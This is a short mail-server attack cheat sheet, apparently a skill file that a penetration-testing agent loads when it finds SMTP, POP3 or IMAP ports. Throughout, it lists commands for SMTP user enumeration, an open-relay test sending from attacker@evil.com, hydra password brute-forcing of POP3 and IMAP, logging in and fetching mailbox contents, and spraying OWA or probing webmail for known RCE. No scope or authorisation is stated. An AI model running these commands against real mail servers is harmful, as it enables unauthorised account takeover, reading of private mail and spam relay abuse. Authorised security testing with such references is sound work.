| name | svc-mail |
| description | Mail server attack techniques — SMTP open relay, VRFY/EXPN/RCPT user enumeration, header injection, IMAP/POP3 access. Use when a mail service is found. Triggers - SMTP 25/465/587, POP3 110, IMAP 143, Postfix/Exim/Sendmail/Dovecot banner, VRFY. |
Mail Server Attack Reference
SMTP (25/465/587)
nc -nv <target> 25
nmap --script smtp-commands,smtp-enum-users,smtp-open-relay -p 25 <target>
telnet <target> 25
VRFY root
VRFY admin
VRFY <username>
EHLO test
MAIL FROM:<test@test.com>
RCPT TO:<admin@<domain>>
smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/Names/names.txt -t <target>
smtp-user-enum -M RCPT -U users.txt -D <domain> -t <target>
Open Relay
telnet <target> 25
EHLO test
MAIL FROM:<attacker@evil.com>
RCPT TO:<victim@external.com>
DATA
Subject: Relay Test
Relay test body
.
QUIT
nmap --script smtp-open-relay -p 25 <target>
POP3 (110/995) & IMAP (143/993)
nc -nv <target> 110
nc -nv <target> 143
hydra -l <user> -P wordlist.txt pop3://<target>
hydra -l <user> -P wordlist.txt imap://<target>
USER <username>
PASS <password>
LIST
RETR 1
a1 LOGIN <user> <password>
a2 LIST "" "*"
a3 SELECT INBOX
a4 FETCH 1 BODY[]
Webmail
- OWA (Outlook Web Access):
/owa/, /ecp/ — brute force, spray
- Roundcube: check version for known CVEs
- SquirrelMail:
/squirrelmail/ — old versions have RCE